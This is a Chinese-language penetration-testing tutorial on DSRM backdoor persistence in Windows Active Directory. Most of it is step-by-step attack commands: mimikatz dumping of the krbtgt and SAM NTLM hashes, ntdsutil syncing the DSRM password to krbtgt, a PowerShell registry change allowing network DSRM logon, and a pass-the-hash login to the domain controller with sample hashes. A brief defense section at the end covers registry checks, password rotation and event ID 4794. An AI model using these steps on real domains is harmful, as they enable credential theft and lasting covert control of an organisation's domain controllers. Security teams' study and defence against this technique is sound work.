一、DSRM域后門介紹
目錄服務恢復模式(DSRM,Directory Services Restore Mode),是Windows服務器域控制器的安全模式啟動選項。DSRM允許管理員用來修復或還原修復或重建活動目錄數據庫。活動目錄安裝后,安裝向導提示管理員選擇一個DSRM密碼。有了密碼,管理員可以防護數據庫后門,避免之后出問題。但是它不提供訪問域或任何服務。如果DSRM密碼忘了,可以使用命令行工具NTDSUtil進行更改。
在滲透測試中,可以使用DSRM對域環境進行持久化操作。適用版本為windows server2008(需安裝KB961320才可以使用指定域賬號的密碼對DSRM的密碼進行同步)及以后的版本,windows server2003不能使用此方法。
每個域控制器都有本地管理員賬號和密碼(與域管理員賬號和密碼不同)。DSRM賬號可以作為一個域控制器的本地管理員用戶,通過網絡連接域控制器,進而控制域控制器。
二、DSRM域后門過程
1、使用mimikatz查看krbtgt的NTLM hash
在域控制器中打開mimikatz,分別輸入如下命令
privilege::debug
lsadump::lsa /patch /name:krbtgt
可以看到krbtgt的NTLM Hash為375892441bee1134ffee32deb81d4a70
2、使用mimikatz查看並讀取SAM文件中本地管理員的NTLM Hash
在域控制器中打開mimikatz,分別輸入如下命令
token::elevate
lsadump::sam
本地管理員賬號也就是DSRM賬號的NTLM Hash為6ffa4e2d80be9ac28ff2e2b06980d677
3、將DSRM賬號和krbtgt的NTLM Hash同步(為DSRM設置新密碼)
NTDSUTIL:打開ntdsutil set DSRM password:修改DSRM的密碼 sync from domain account 域用戶名字:使DSRM的密碼和指定域用戶的密碼同步 q(第1次):退出DSRM密碼設置模式 q(第2次):退出ntdsutil
4、查看DSRM的NTLM Hash是否同步成功
在域控制器中打開mimikatz,可以看到此時DSRM的hash就和krbtgt的NTLM Hash一樣了,為375892441bee1134ffee32deb81d4a70
5、修改DSRM的登錄方式
DSRM有三種登錄方式,具體如下:
- 0:默認值,只有當域控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號
- 1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登錄域控制器
- 2:在任何情況下,都可以使用DSRM管理員賬號登錄域控制器
在Windows Server 2000以后的版本操作系統中,對DSRM使用控制台登錄域控制器進行了限制。如果要使用DSRM賬號通過網絡登錄域控制器,需要將該值設置為2。輸入如下命令,可以使用PowerShell進行更改。
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
6、使用DSRM賬號通過網絡遠程登錄域控制器
在任意一台域成員主機上或者域控本機上,輸入如下內容
privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:375892441bee1134ffee32deb81d4a70
成功后會彈出一個彈框,從而達到權限維持的目的
三、防御
1、定期檢查注冊表中用於控制DSRM登錄方式的鍵值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,確認該兼職為1,或者刪除該鍵值
2、定期修改域中所有域控制器的DSRM賬號
3、經常檢查ID 為4794的日志。嘗試設置活動目錄服務還原模式的管理員密碼會被記錄在4794日志中
參考:《內網安全攻防-滲透測試實戰指南》